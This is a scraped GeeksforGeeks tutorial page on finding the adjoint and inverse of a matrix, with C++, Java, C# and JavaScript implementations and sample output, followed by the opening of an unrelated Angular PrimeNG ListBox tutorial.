col < n; col++) { // Copying into temporary matrix only those element // which are not in given row and column if (row != p && col != q) { temp[i][j++] = A[row][col]; // Row is filled, so increase row index and // reset col index if (j == n - 1) { j = 0; i++; } } } }} /* Recursive function for finding determinant of matrix.n is current dimension of A[][]. */static int determinant(int A[][], int n){ int D = 0; // Initialize result // Base case : if matrix contains single element if (n == 1) return A[0][0]; int [][]temp = new int[N][N]; // To store cofactors int sign = 1; // To store sign multiplier // Iterate for each element of first row for (int f = 0; f < n; f++) { // Getting Cofactor of A[0][f] getCofactor(A, temp, 0, f, n); D += sign * A[0][f] * determinant(temp, n - 1); // terms are to be added with alternate sign sign = -sign; } return D;} // Function to get adjoint of A[N][N] in adj[N][N].static void adjoint(int A[][],int [][]adj){ if (N == 1) { adj[0][0] = 1; return; } // temp is used to store cofactors of A[][] int sign = 1; int [][]temp = new int[N][N]; for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { // Get cofactor of A[i][j] getCofactor(A, temp, i, j, N); // sign of adj[j][i] positive if sum of row // and column indexes is even. sign = ((i + j) % 2 == 0)? 1: -1; // Interchanging rows and columns to get the // transpose of the cofactor matrix adj[j][i] = (sign)*(determinant(temp, N-1)); } }} // Function to calculate and store inverse, returns false if// matrix is singularstatic boolean inverse(int A[][], float [][]inverse){ // Find determinant of A[][] int det = determinant(A, N); if (det == 0) { System.out.print("Singular matrix, can't find its inverse"); return false; } // Find adjoint int [][]adj = new int[N][N]; adjoint(A, adj); // Find Inverse using formula "inverse(A) = adj(A)/det(A)" for (int i = 0; i < N; i++) for (int j = 0; j < N; j++) inverse[i][j] = adj[i][j]/(float)det; return true;} // Generic function to display the matrix. We use it to display// both adjoin and inverse. adjoin is integer matrix and inverse// is a float. static void display(int A[][]){ for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) System.out.print(A[i][j]+ " "); System.out.println(); }}static void display(float A[][]){ for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) System.out.printf("%.6f ",A[i][j]); System.out.println(); }} // Driver programpublic static void main(String[] args){ int A[][] = { {5, -2, 2, 7}, {1, 0, 0, 3}, {-3, 1, 5, 0}, {3, -1, -9, 4}}; int [][]adj = new int[N][N]; // To store adjoint of A[][] float [][]inv = new float[N][N]; // To store inverse of A[][] System.out.print("Input matrix is :\n"); display(A); System.out.print("\nThe Adjoint is :\n"); adjoint(A, adj); display(adj); System.out.print("\nThe Inverse is :\n"); if (inverse(A, inv)) display(inv); }} // This code is contributed by Rajput-Ji // C# program to find adjoint and inverse of a matrixusing System;using System.Collections.Generic; class GFG{ static readonly int N = 4; // Function to get cofactor of A[p,q] in [,]temp. n is current// dimension of [,]Astatic void getCofactor(int [,]A, int [,]temp, int p, int q, int n){ int i = 0, j = 0; // Looping for each element of the matrix for (int row = 0; row < n; row++) { for (int col = 0; col < n; col++) { // Copying into temporary matrix only those element // which are not in given row and column if (row != p && col != q) { temp[i, j++] = A[row, col]; // Row is filled, so increase row index and // reset col index if (j == n - 1) { j = 0; i++; } } } }} /* Recursive function for finding determinant of matrix.n is current dimension of [,]A. */static int determinant(int [,]A, int n){ int D = 0; // Initialize result // Base case : if matrix contains single element if (n == 1) return A[0, 0]; int [,]temp = new int[N, N]; // To store cofactors int sign = 1; // To store sign multiplier // Iterate for each element of first row for (int f = 0; f < n; f++) { // Getting Cofactor of A[0,f] getCofactor(A, temp, 0, f, n); D += sign * A[0, f] * determinant(temp, n - 1); // terms are to be added with alternate sign sign = -sign; } return D;} // Function to get adjoint of A[N,N] in adj[N,N].static void adjoint(int [,]A, int [,]adj){ if (N == 1) { adj[0, 0] = 1; return; } // temp is used to store cofactors of [,]A int sign = 1; int [,]temp = new int[N, N]; for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { // Get cofactor of A[i,j] getCofactor(A, temp, i, j, N); // sign of adj[j,i] positive if sum of row // and column indexes is even. sign = ((i + j) % 2 == 0)? 1: -1; // Interchanging rows and columns to get the // transpose of the cofactor matrix adj[j, i] = (sign) * (determinant(temp, N - 1)); } }} // Function to calculate and store inverse, returns false if// matrix is singularstatic bool inverse(int [,]A, float [,]inverse){ // Find determinant of [,]A int det = determinant(A, N); if (det == 0) { Console.Write("Singular matrix, can't find its inverse"); return false; } // Find adjoint int [,]adj = new int[N, N]; adjoint(A, adj); // Find Inverse using formula "inverse(A) = adj(A)/det(A)" for (int i = 0; i < N; i++) for (int j = 0; j < N; j++) inverse[i, j] = adj[i, j]/(float)det; return true;} // Generic function to display the matrix. We use it to display// both adjoin and inverse. adjoin is integer matrix and inverse// is a float.static void display(int [,]A){ for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) Console.Write(A[i, j]+ " "); Console.WriteLine(); }}static void display(float [,]A){ for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) Console.Write("{0:F6} ", A[i, j]); Console.WriteLine(); }} // Driver programpublic static void Main(String[] args){ int [,]A = { {5, -2, 2, 7}, {1, 0, 0, 3}, {-3, 1, 5, 0}, {3, -1, -9, 4}}; int [,]adj = new int[N, N]; // To store adjoint of [,]A float [,]inv = new float[N, N]; // To store inverse of [,]A Console.Write("Input matrix is :\n"); display(A); Console.Write("\nThe Adjoint is :\n"); adjoint(A, adj); display(adj); Console.Write("\nThe Inverse is :\n"); if (inverse(A, inv)) display(inv);}} // This code is contributed by 29AjayKumar <script> // JavaScript program to find adjoint and// inverse of a matrix let N = 4;// Function to get cofactor of// A[p][q] in temp[][]. n is current// dimension of A[][]function getCofactor(A,temp,p,q,n){ let i = 0, j = 0; // Looping for each element of the matrix for (let row = 0; row < n; row++) { for (let col = 0; col < n; col++) { // Copying into temporary matrix only those element // which are not in given row and column if (row != p && col != q) { temp[i][j++] = A[row][col]; // Row is filled, so increase row index and // reset col index if (j == n - 1) { j = 0; i++; } } } }} /* Recursive function for finding determinant of matrix.n is current dimension of A[][]. */function determinant(A,n){ let D = 0; // Initialize result // Base case : if matrix contains single element if (n == 1) return A[0][0]; let temp = new Array(N);// To store cofactors for(let i=0;i<N;i++) { temp[i]=new Array(N); } let sign = 1; // To store sign multiplier // Iterate for each element of first row for (let f = 0; f < n; f++) { // Getting Cofactor of A[0][f] getCofactor(A, temp, 0, f, n); D += sign * A[0][f] * determinant(temp, n - 1); // terms are to be added with alternate sign sign = -sign; } return D;} // Function to get adjoint of A[N][N] in adj[N][N].function adjoint(A,adj){ if (N == 1) { adj[0][0] = 1; return; } // temp is used to store cofactors of A[][] let sign = 1; let temp = new Array(N); for(let i=0;i<N;i++) { temp[i]=new Array(N); } for (let i = 0; i < N; i++) { for (let j = 0; j < N; j++) { // Get cofactor of A[i][j] getCofactor(A, temp, i, j, N); // sign of adj[j][i] positive if sum of row // and column indexes is even. sign = ((i + j) % 2 == 0)? 1: -1; // Interchanging rows and columns to get the // transpose of the cofactor matrix adj[j][i] = (sign)*(determinant(temp, N-1)); } }} // Function to calculate and store inverse, returns false if// matrix is singularfunction inverse(A,inverse){ // Find determinant of A[][] let det = determinant(A, N); if (det == 0) { document.write("Singular matrix, can't find its inverse"); return false; } // Find adjoint let adj = new Array(N); for(let i=0;i<N;i++) { adj[i]=new Array(N); } adjoint(A, adj); // Find Inverse using formula "inverse(A) = adj(A)/det(A)" for (let i = 0; i < N; i++) for (let j = 0; j < N; j++) inverse[i][j] = adj[i][j]/det; return true;} // Generic function to display the// matrix. We use it to display// both adjoin and inverse. adjoin// is integer matrix and inverse// is a float.function display(A){ for (let i = 0; i < N; i++) { for (let j = 0; j < N; j++) document.write(A[i][j]+ " "); document.write("<br>"); }} function displays(A){ for (let i = 0; i < N; i++) { for (let j = 0; j < N; j++) document.write(A[i][j].toFixed(6)+" "); document.write("<br>"); }} // Driver programlet A=[[5, -2, 2, 7], [1, 0, 0, 3], [-3, 1, 5, 0], [3, -1, -9, 4]];let adj = new Array(N);let inv = new Array(N); for(let i=0;i<N;i++){ adj[i]=new Array(N); inv[i]=new Array(N);} document.write("Input matrix is :<br>");display(A); document.write("<br>The Adjoint is :<br>");adjoint(A, adj);display(adj); document.write("<br>The Inverse is :<br>");if (inverse(A, inv)) displays(inv); // This code is contributed by rag2127 </script> Output: The Adjoint is : -12 76 -60 -36 -56 208 -82 -58 4 4 -2 -10 4 4 20 12 The Inverse is : -0.136364 0.863636 -0.681818 -0.409091 -0.636364 2.36364 -0.931818 -0.659091 0.0454545 0.0454545 -0.0227273 -0.113636 0.0454545 0.0454545 0.227273 0.136364 Please refer https://www.geeksforgeeks.org/determinant-of-a-matrix/ for details of getCofactor() and determinant().References: https://www.geeksforgeeks.org/determinant-of-a-matrix/ https://en.wikipedia.org/wiki/Adjugate_matrixThis article is contributed by Ashutosh Kumar. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above Rajput-Ji 29AjayKumar rag2127 Mathematical Mathematical Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Merge two sorted arrays Modulo Operator (%) in C/C++ with Examples Prime Numbers Program to find GCD or HCF of two numbers Print all possible combinations of r elements in a given array of size n Sieve of Eratosthenes Operators in C / C++ Program for factorial of a number Find minimum number of coins that make a given value The Knight's tour problem | Backtracking-1
[ { "code": null, "e": 26285, "s": 26257, "text": "\n11 Jun, 2021" }, { "code": null, "e": 26702, "s": 26285, "text": "Given a square matrix, find adjoint and inverse of the matrix. We strongly recommend you to refer below as a prerequisite of this. Determinant of a MatrixWhat is Adjoint? Adjoint (or Adjugate) of a matrix is the matrix obtained by taking transpose of the cofactor matrix of a given square matrix is called its Adjoint or Adjugate matrix. The Adjoint of any square matrix ‘A’ (say) is represented as Adj(A). Example: " }, { "code": null, "e": 27437, "s": 26702, "text": "Below example and explanation are taken from here.\n5 -2 2 7\n1 0 0 3\n-3 1 5 0\n3 -1 -9 4\n\nFor instance, the cofactor of the top left corner '5' is\n + |0 0 3|\n...|1 5 0| = 3(1 * -9 - (-1) * 5) = -12.\n...|-1 -9 4|\n(The minor matrix is formed by deleting the row \n and column of the given entry.)\n\nAs another sample, the cofactor of the top row corner '-2' is\n -|1 0 3|\n...|-3 5 0| = - [1 (20 - 0) - 0 + 3 (27 - 15)] = -56.\n...|3 -9 4|\n\nProceeding like this, we obtain the matrix\n[-12 -56 4 4]\n[76 208 4 4]\n[-60 -82 -2 20]\n[-36 -58 -10 12]\n\nFinally, to get the adjoint, just take the previous\nmatrix's transpose:\n[-12 76 -60 -36]\n[-56 208 -82 -58]\n[4 4 -2 -10]\n[4 4 20 12] " }, { "code": null, "e": 27461, "s": 27437, "text": "Important properties: " }, { "code": null, "e": 27597, "s": 27461, "text": "Product of a square matrix A with its adjoint yields a diagonal matrix, where each diagonal entry is equal to determinant of A. i.e., " }, { "code": null, "e": 27698, "s": 27597, "text": "A.adj(A) = det(A).I \n\nI => Identity matrix of same order as of A.\ndet(A) => Determinant value of A " }, { "code": null, "e": 27828, "s": 27698, "text": "A non zero square matrix ‘A’ of order n is said to be invertible if there exists a unique square matrix ‘B’ of order n such that," }, { "code": null, "e": 27905, "s": 27828, "text": " A.B = B.A = I\nThe matrix 'B' is said to be inverse of 'A'.\ni.e., B = A-1" }, { "code": null, "e": 27961, "s": 27905, "text": "How to find Adjoint? We follow definition given above. " }, { "code": null, "e": 28276, "s": 27961, "text": "Let A[N][N] be input matrix.\n\n1) Create a matrix adj[N][N] store the adjoint matrix.\n2) For every entry A[i][j] in input matrix where 0 <= i < N\n and 0 <= j < N.\n a) Find cofactor of A[i][j]\n b) Find sign of entry. Sign is + if (i+j) is even else\n sign is odd.\n c) Place the cofactor at adj[j][i]" }, { "code": null, "e": 28496, "s": 28276, "text": "How to find Inverse? Inverse of a matrix exists only if the matrix is non-singular i.e., determinant should not be 0. Using determinant and adjoint, we can easily find the inverse of a square matrix using below formula," }, { "code": null, "e": 28574, "s": 28496, "text": " If det(A) != 0\n A-1 = adj(A)/det(A)\n Else\n \"Inverse doesn't exist\" " }, { "code": null, "e": 28714, "s": 28574, "text": "Inverse is used to find the solution to a system of linear equation.Below are implementation for finding adjoint and inverse of a matrix. " }, { "code": null, "e": 28718, "s": 28714, "text": "C++" }, { "code": null, "e": 28723, "s": 28718, "text": "Java" }, { "code": null, "e": 28726, "s": 28723, "text": "C#" }, { "code": null, "e": 28737, "s": 28726, "text": "Javascript" }, { "code": "// C++ program to find adjoint and inverse of a matrix#include<bits/stdc++.h>using namespace std;#define N 4 // Function to get cofactor of A[p][q] in temp[][]. n is current// dimension of A[][]void getCofactor(int A[N][N], int temp[N][N], int p, int q, int n){ int i = 0, j = 0; // Looping for each element of the matrix for (int row = 0; row < n; row++) { for (int col = 0; col < n; col++) { // Copying into temporary matrix only those element // which are not in given row and column if (row != p && col != q) { temp[i][j++] = A[row][col]; // Row is filled, so increase row index and // reset col index if (j == n - 1) { j = 0; i++; } } } }} /* Recursive function for finding determinant of matrix. n is current dimension of A[][]. */int determinant(int A[N][N], int n){ int D = 0; // Initialize result // Base case : if matrix contains single element if (n == 1) return A[0][0]; int temp[N][N]; // To store cofactors int sign = 1; // To store sign multiplier // Iterate for each element of first row for (int f = 0; f < n; f++) { // Getting Cofactor of A[0][f] getCofactor(A, temp, 0, f, n); D += sign * A[0][f] * determinant(temp, n - 1); // terms are to be added with alternate sign sign = -sign; } return D;} // Function to get adjoint of A[N][N] in adj[N][N].void adjoint(int A[N][N],int adj[N][N]){ if (N == 1) { adj[0][0] = 1; return; } // temp is used to store cofactors of A[][] int sign = 1, temp[N][N]; for (int i=0; i<N; i++) { for (int j=0; j<N; j++) { // Get cofactor of A[i][j] getCofactor(A, temp, i, j, N); // sign of adj[j][i] positive if sum of row // and column indexes is even. sign = ((i+j)%2==0)? 1: -1; // Interchanging rows and columns to get the // transpose of the cofactor matrix adj[j][i] = (sign)*(determinant(temp, N-1)); } }} // Function to calculate and store inverse, returns false if// matrix is singularbool inverse(int A[N][N], float inverse[N][N]){ // Find determinant of A[][] int det = determinant(A, N); if (det == 0) { cout << \"Singular matrix, can't find its inverse\"; return false; } // Find adjoint int adj[N][N]; adjoint(A, adj); // Find Inverse using formula \"inverse(A) = adj(A)/det(A)\" for (int i=0; i<N; i++) for (int j=0; j<N; j++) inverse[i][j] = adj[i][j]/float(det); return true;} // Generic function to display the matrix. We use it to display// both adjoin and inverse. adjoin is integer matrix and inverse// is a float.template<class T>void display(T A[N][N]){ for (int i=0; i<N; i++) { for (int j=0; j<N; j++) cout << A[i][j] << \" \"; cout << endl; }} // Driver programint main(){ int A[N][N] = { {5, -2, 2, 7}, {1, 0, 0, 3}, {-3, 1, 5, 0}, {3, -1, -9, 4}}; int adj[N][N]; // To store adjoint of A[][] float inv[N][N]; // To store inverse of A[][] cout << \"Input matrix is :\\n\"; display(A); cout << \"\\nThe Adjoint is :\\n\"; adjoint(A, adj); display(adj); cout << \"\\nThe Inverse is :\\n\"; if (inverse(A, inv)) display(inv); return 0;}", "e": 32293, "s": 28737, "text": null }, { "code": "// Java program to find adjoint and inverse of a matrixclass GFG{ static final int N = 4; // Function to get cofactor of A[p][q] in temp[][]. n is current// dimension of A[][]static void getCofactor(int A[][], int temp[][], int p, int q, int n){ int i = 0, j = 0; // Looping for each element of the matrix for (int row = 0; row < n; row++) { for (int col = 0; col < n; col++) { // Copying into temporary matrix only those element // which are not in given row and column if (row != p && col != q) { temp[i][j++] = A[row][col]; // Row is filled, so increase row index and // reset col index if (j == n - 1) { j = 0; i++; } } } }} /* Recursive function for finding determinant of matrix.n is current dimension of A[][]. */static int determinant(int A[][], int n){ int D = 0; // Initialize result // Base case : if matrix contains single element if (n == 1) return A[0][0]; int [][]temp = new int[N][N]; // To store cofactors int sign = 1; // To store sign multiplier // Iterate for each element of first row for (int f = 0; f < n; f++) { // Getting Cofactor of A[0][f] getCofactor(A, temp, 0, f, n); D += sign * A[0][f] * determinant(temp, n - 1); // terms are to be added with alternate sign sign = -sign; } return D;} // Function to get adjoint of A[N][N] in adj[N][N].static void adjoint(int A[][],int [][]adj){ if (N == 1) { adj[0][0] = 1; return; } // temp is used to store cofactors of A[][] int sign = 1; int [][]temp = new int[N][N]; for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { // Get cofactor of A[i][j] getCofactor(A, temp, i, j, N); // sign of adj[j][i] positive if sum of row // and column indexes is even. sign = ((i + j) % 2 == 0)? 1: -1; // Interchanging rows and columns to get the // transpose of the cofactor matrix adj[j][i] = (sign)*(determinant(temp, N-1)); } }} // Function to calculate and store inverse, returns false if// matrix is singularstatic boolean inverse(int A[][], float [][]inverse){ // Find determinant of A[][] int det = determinant(A, N); if (det == 0) { System.out.print(\"Singular matrix, can't find its inverse\"); return false; } // Find adjoint int [][]adj = new int[N][N]; adjoint(A, adj); // Find Inverse using formula \"inverse(A) = adj(A)/det(A)\" for (int i = 0; i < N; i++) for (int j = 0; j < N; j++) inverse[i][j] = adj[i][j]/(float)det; return true;} // Generic function to display the matrix. We use it to display// both adjoin and inverse. adjoin is integer matrix and inverse// is a float. static void display(int A[][]){ for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) System.out.print(A[i][j]+ \" \"); System.out.println(); }}static void display(float A[][]){ for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) System.out.printf(\"%.6f \",A[i][j]); System.out.println(); }} // Driver programpublic static void main(String[] args){ int A[][] = { {5, -2, 2, 7}, {1, 0, 0, 3}, {-3, 1, 5, 0}, {3, -1, -9, 4}}; int [][]adj = new int[N][N]; // To store adjoint of A[][] float [][]inv = new float[N][N]; // To store inverse of A[][] System.out.print(\"Input matrix is :\\n\"); display(A); System.out.print(\"\\nThe Adjoint is :\\n\"); adjoint(A, adj); display(adj); System.out.print(\"\\nThe Inverse is :\\n\"); if (inverse(A, inv)) display(inv); }} // This code is contributed by Rajput-Ji", "e": 36238, "s": 32293, "text": null }, { "code": "// C# program to find adjoint and inverse of a matrixusing System;using System.Collections.Generic; class GFG{ static readonly int N = 4; // Function to get cofactor of A[p,q] in [,]temp. n is current// dimension of [,]Astatic void getCofactor(int [,]A, int [,]temp, int p, int q, int n){ int i = 0, j = 0; // Looping for each element of the matrix for (int row = 0; row < n; row++) { for (int col = 0; col < n; col++) { // Copying into temporary matrix only those element // which are not in given row and column if (row != p && col != q) { temp[i, j++] = A[row, col]; // Row is filled, so increase row index and // reset col index if (j == n - 1) { j = 0; i++; } } } }} /* Recursive function for finding determinant of matrix.n is current dimension of [,]A. */static int determinant(int [,]A, int n){ int D = 0; // Initialize result // Base case : if matrix contains single element if (n == 1) return A[0, 0]; int [,]temp = new int[N, N]; // To store cofactors int sign = 1; // To store sign multiplier // Iterate for each element of first row for (int f = 0; f < n; f++) { // Getting Cofactor of A[0,f] getCofactor(A, temp, 0, f, n); D += sign * A[0, f] * determinant(temp, n - 1); // terms are to be added with alternate sign sign = -sign; } return D;} // Function to get adjoint of A[N,N] in adj[N,N].static void adjoint(int [,]A, int [,]adj){ if (N == 1) { adj[0, 0] = 1; return; } // temp is used to store cofactors of [,]A int sign = 1; int [,]temp = new int[N, N]; for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { // Get cofactor of A[i,j] getCofactor(A, temp, i, j, N); // sign of adj[j,i] positive if sum of row // and column indexes is even. sign = ((i + j) % 2 == 0)? 1: -1; // Interchanging rows and columns to get the // transpose of the cofactor matrix adj[j, i] = (sign) * (determinant(temp, N - 1)); } }} // Function to calculate and store inverse, returns false if// matrix is singularstatic bool inverse(int [,]A, float [,]inverse){ // Find determinant of [,]A int det = determinant(A, N); if (det == 0) { Console.Write(\"Singular matrix, can't find its inverse\"); return false; } // Find adjoint int [,]adj = new int[N, N]; adjoint(A, adj); // Find Inverse using formula \"inverse(A) = adj(A)/det(A)\" for (int i = 0; i < N; i++) for (int j = 0; j < N; j++) inverse[i, j] = adj[i, j]/(float)det; return true;} // Generic function to display the matrix. We use it to display// both adjoin and inverse. adjoin is integer matrix and inverse// is a float.static void display(int [,]A){ for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) Console.Write(A[i, j]+ \" \"); Console.WriteLine(); }}static void display(float [,]A){ for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) Console.Write(\"{0:F6} \", A[i, j]); Console.WriteLine(); }} // Driver programpublic static void Main(String[] args){ int [,]A = { {5, -2, 2, 7}, {1, 0, 0, 3}, {-3, 1, 5, 0}, {3, -1, -9, 4}}; int [,]adj = new int[N, N]; // To store adjoint of [,]A float [,]inv = new float[N, N]; // To store inverse of [,]A Console.Write(\"Input matrix is :\\n\"); display(A); Console.Write(\"\\nThe Adjoint is :\\n\"); adjoint(A, adj); display(adj); Console.Write(\"\\nThe Inverse is :\\n\"); if (inverse(A, inv)) display(inv);}} // This code is contributed by 29AjayKumar", "e": 40186, "s": 36238, "text": null }, { "code": "<script> // JavaScript program to find adjoint and// inverse of a matrix let N = 4;// Function to get cofactor of// A[p][q] in temp[][]. n is current// dimension of A[][]function getCofactor(A,temp,p,q,n){ let i = 0, j = 0; // Looping for each element of the matrix for (let row = 0; row < n; row++) { for (let col = 0; col < n; col++) { // Copying into temporary matrix only those element // which are not in given row and column if (row != p && col != q) { temp[i][j++] = A[row][col]; // Row is filled, so increase row index and // reset col index if (j == n - 1) { j = 0; i++; } } } }} /* Recursive function for finding determinant of matrix.n is current dimension of A[][]. */function determinant(A,n){ let D = 0; // Initialize result // Base case : if matrix contains single element if (n == 1) return A[0][0]; let temp = new Array(N);// To store cofactors for(let i=0;i<N;i++) { temp[i]=new Array(N); } let sign = 1; // To store sign multiplier // Iterate for each element of first row for (let f = 0; f < n; f++) { // Getting Cofactor of A[0][f] getCofactor(A, temp, 0, f, n); D += sign * A[0][f] * determinant(temp, n - 1); // terms are to be added with alternate sign sign = -sign; } return D;} // Function to get adjoint of A[N][N] in adj[N][N].function adjoint(A,adj){ if (N == 1) { adj[0][0] = 1; return; } // temp is used to store cofactors of A[][] let sign = 1; let temp = new Array(N); for(let i=0;i<N;i++) { temp[i]=new Array(N); } for (let i = 0; i < N; i++) { for (let j = 0; j < N; j++) { // Get cofactor of A[i][j] getCofactor(A, temp, i, j, N); // sign of adj[j][i] positive if sum of row // and column indexes is even. sign = ((i + j) % 2 == 0)? 1: -1; // Interchanging rows and columns to get the // transpose of the cofactor matrix adj[j][i] = (sign)*(determinant(temp, N-1)); } }} // Function to calculate and store inverse, returns false if// matrix is singularfunction inverse(A,inverse){ // Find determinant of A[][] let det = determinant(A, N); if (det == 0) { document.write(\"Singular matrix, can't find its inverse\"); return false; } // Find adjoint let adj = new Array(N); for(let i=0;i<N;i++) { adj[i]=new Array(N); } adjoint(A, adj); // Find Inverse using formula \"inverse(A) = adj(A)/det(A)\" for (let i = 0; i < N; i++) for (let j = 0; j < N; j++) inverse[i][j] = adj[i][j]/det; return true;} // Generic function to display the// matrix. We use it to display// both adjoin and inverse. adjoin// is integer matrix and inverse// is a float.function display(A){ for (let i = 0; i < N; i++) { for (let j = 0; j < N; j++) document.write(A[i][j]+ \" \"); document.write(\"<br>\"); }} function displays(A){ for (let i = 0; i < N; i++) { for (let j = 0; j < N; j++) document.write(A[i][j].toFixed(6)+\" \"); document.write(\"<br>\"); }} // Driver programlet A=[[5, -2, 2, 7], [1, 0, 0, 3], [-3, 1, 5, 0], [3, -1, -9, 4]];let adj = new Array(N);let inv = new Array(N); for(let i=0;i<N;i++){ adj[i]=new Array(N); inv[i]=new Array(N);} document.write(\"Input matrix is :<br>\");display(A); document.write(\"<br>The Adjoint is :<br>\");adjoint(A, adj);display(adj); document.write(\"<br>The Inverse is :<br>\");if (inverse(A, inv)) displays(inv); // This code is contributed by rag2127 </script>", "e": 44129, "s": 40186, "text": null }, { "code": null, "e": 44137, "s": 44129, "text": "Output:" }, { "code": null, "e": 44387, "s": 44137, "text": "The Adjoint is :\n-12 76 -60 -36 \n-56 208 -82 -58 \n4 4 -2 -10 \n4 4 20 12 \n\nThe Inverse is :\n-0.136364 0.863636 -0.681818 -0.409091 \n-0.636364 2.36364 -0.931818 -0.659091 \n0.0454545 0.0454545 -0.0227273 -0.113636 \n0.0454545 0.0454545 0.227273 0.136364" }, { "code": null, "e": 44786, "s": 44387, "text": "Please refer https://www.geeksforgeeks.org/determinant-of-a-matrix/ for details of getCofactor() and determinant().References: https://www.geeksforgeeks.org/determinant-of-a-matrix/ https://en.wikipedia.org/wiki/Adjugate_matrixThis article is contributed by Ashutosh Kumar. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above " }, { "code": null, "e": 44796, "s": 44786, "text": "Rajput-Ji" }, { "code": null, "e": 44808, "s": 44796, "text": "29AjayKumar" }, { "code": null, "e": 44816, "s": 44808, "text": "rag2127" }, { "code": null, "e": 44829, "s": 44816, "text": "Mathematical" }, { "code": null, "e": 44842, "s": 44829, "text": "Mathematical" }, { "code": null, "e": 44940, "s": 44842, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 44964, "s": 44940, "text": "Merge two sorted arrays" }, { "code": null, "e": 45007, "s": 44964, "text": "Modulo Operator (%) in C/C++ with Examples" }, { "code": null, "e": 45021, "s": 45007, "text": "Prime Numbers" }, { "code": null, "e": 45063, "s": 45021, "text": "Program to find GCD or HCF of two numbers" }, { "code": null, "e": 45136, "s": 45063, "text": "Print all possible combinations of r elements in a given array of size n" }, { "code": null, "e": 45158, "s": 45136, "text": "Sieve of Eratosthenes" }, { "code": null, "e": 45179, "s": 45158, "text": "Operators in C / C++" }, { "code": null, "e": 45213, "s": 45179, "text": "Program for factorial of a number" }, { "code": null, "e": 45266, "s": 45213, "text": "Find minimum number of coins that make a given value" } ]
Angular PrimeNG ListBox Component - GeeksforGeeks
22 Aug, 2021 Angular PrimeNG is an open-source framework with a rich set of native Angular UI components that are used for great styling and this framework is used to make responsive websites with very much ease. In this article, we will know how to use the ListBox component in Angular PrimeNG. ListBox component: It is used to make a list component from which we can select one or more items and can also be discarded if the item is not required by unchecking in the list. Properties: ariaFilterLabel: It is used to define a string that labels the input filter element. It is of string data type, the default value is null. checkbox: It is used to allow selecting items with checkboxes. It is of boolean data type, the default value is false. dataKey: It is the property that is used to Identify an option. It is of string data type, the default value is null. disabled: It specifies that the element should be disabled. It is of the boolean data type, the default value is false. filter: It is used to display a filter input at the header. It is of boolean data type, the default value is false. filterMatchMode: It is used to define how the items are filtered. It is of string data type, the default value is contained. filterValue: It is used to specify filter displays with this value. It is of string data type, the default value is null. filterLocale: It is used to set the locale to use in filtering. It is of string data type, the default value is undefined. filterPlaceHolder: It is used to define the placeholder of the filter input. It is of string data type, the default value is null. listStyle: It is used to set the Inline style of the list element, It is of string data type, the default value is null. listStyleClass: It is used to set the Style class of the list element, It is of string data type, the default value is null. metaKeySelection: It is used to defines how multiple items can be selected. It is of the boolean data type, the default value is true. multiple: It is used to allow selecting multiple values. It is of the boolean data type, the default value is false. readonly: it specifies that the element value cannot be changed. It is of the boolean data type, the default value is false. emptyMessage: It is used to set the text to display when there is no data. It is of string data type, the default value is no records found. emptyFilterMessage: It is used to set the text to display when filtering does not return any results, It is of string data type, the default value is no records found. options: It is an array representing select items to display as the available options, It is of array data type, the default value is null. optionLabel: It is used to give the label of an option, It is of string data type, the default value is the label. optionValue: It is used to give the value of an option, defaults to the option itself when not defined. It is of string data type, the default value is value. optionGroupLabel: It is used to give a label to the option group. It is of string data type, the default value is the label. optionGroupChildren: It is used to get the name of the options field of the option group. It is of string data type, the default value is an item. group: It is used to set whether to display options as grouped when nested options are provided. It is of the boolean data type, the default value is false. showToggleAll: It is used to set whether the header checkbox is shown in multiple modes. It is of the boolean data type, the default value is true. style: It is used to set the inline style of the element. It is of string data type, the default value is null. styleClass: It is used to set the style class of the element. It is of string data type, the default value is null. Events: onChange: It is a callback that is fired when the value of the list box changes. onDblClick: It is a callback that is fired when an item is double-clicked. onClick: It is a callback that is fired when the Listbox option clicks. Styling: p-listbox: It is used for the container of an element. p-listbox-list: It is used as a container for the list. p-listbox-item: It is used to keep the item in the list. p-listbox-header: It is used to show the header of the element. p-listbox-filter-container: It is a container of filter input in the header. Creating Angular application & module installation: Step 1: Create an Angular application using the following command.ng new appname Step 1: Create an Angular application using the following command. ng new appname Step 2: After creating your project folder i.e. appname, move to it using the following command.cd appname Step 2: After creating your project folder i.e. appname, move to it using the following command. cd appname Step 3: Install PrimeNG in your given directory.npm install primeng --save npm install primeicons --save Step 3: Install PrimeNG in your given directory. npm install primeng --save npm install primeicons --save Project Structure: After completing the above processes, it will look like the following. Example 1: This is the basic example that shows how to use the ListBox component. app.component.html <h2>GeeksforGeeks</h2><h5>PrimeNG ListBox component</h5><p-listbox [options]="gfg" [(ngModel)]="selectedCourse" optionLabel="name" [style]="{'width':'15rem'}"></p-listbox> app.module.ts import { NgModule } from "@angular/core";import { BrowserModule } from "@angular/platform-browser";import { FormsModule } from "@angular/forms";import { BrowserAnimationsModule } from "@angular/platform-browser/animations";import { AppComponent } from "./app.component";import { ListboxModule } from "primeng/listbox"; @NgModule({ imports: [BrowserModule, BrowserAnimationsModule, ListboxModule, FormsModule], declarations: [AppComponent], bootstrap: [AppComponent],})export class AppModule {} app.component.ts import { Component } from "@angular/core";import { PrimeNGConfig, SelectItemGroup } from "primeng/api"; interface Course { name: string;} @Component({ selector: "my-app", templateUrl: "./app.component.html", styles: [],})export class AppComponent { gfg: Course[]; selectedCourse: Course; constructor(private primengConfig: PrimeNGConfig) { this.gfg = [ { name: "HTML5" }, { name: "JavaScript" }, { name: "Java" }, { name: "ReactJS" }, { name: "AngularJS" }, ]; }} Output: Example 2: In this example, we will make a dynamic listBox Group. app.component.html <h2>GeeksforGeeks</h2><h5>PrimeNG ListBox Component</h5><p-listbox [options]="gfg" [checkbox]="true" [filter]="true" [multiple]="true" optionLabel="name"></p-listbox> app.module.ts import { 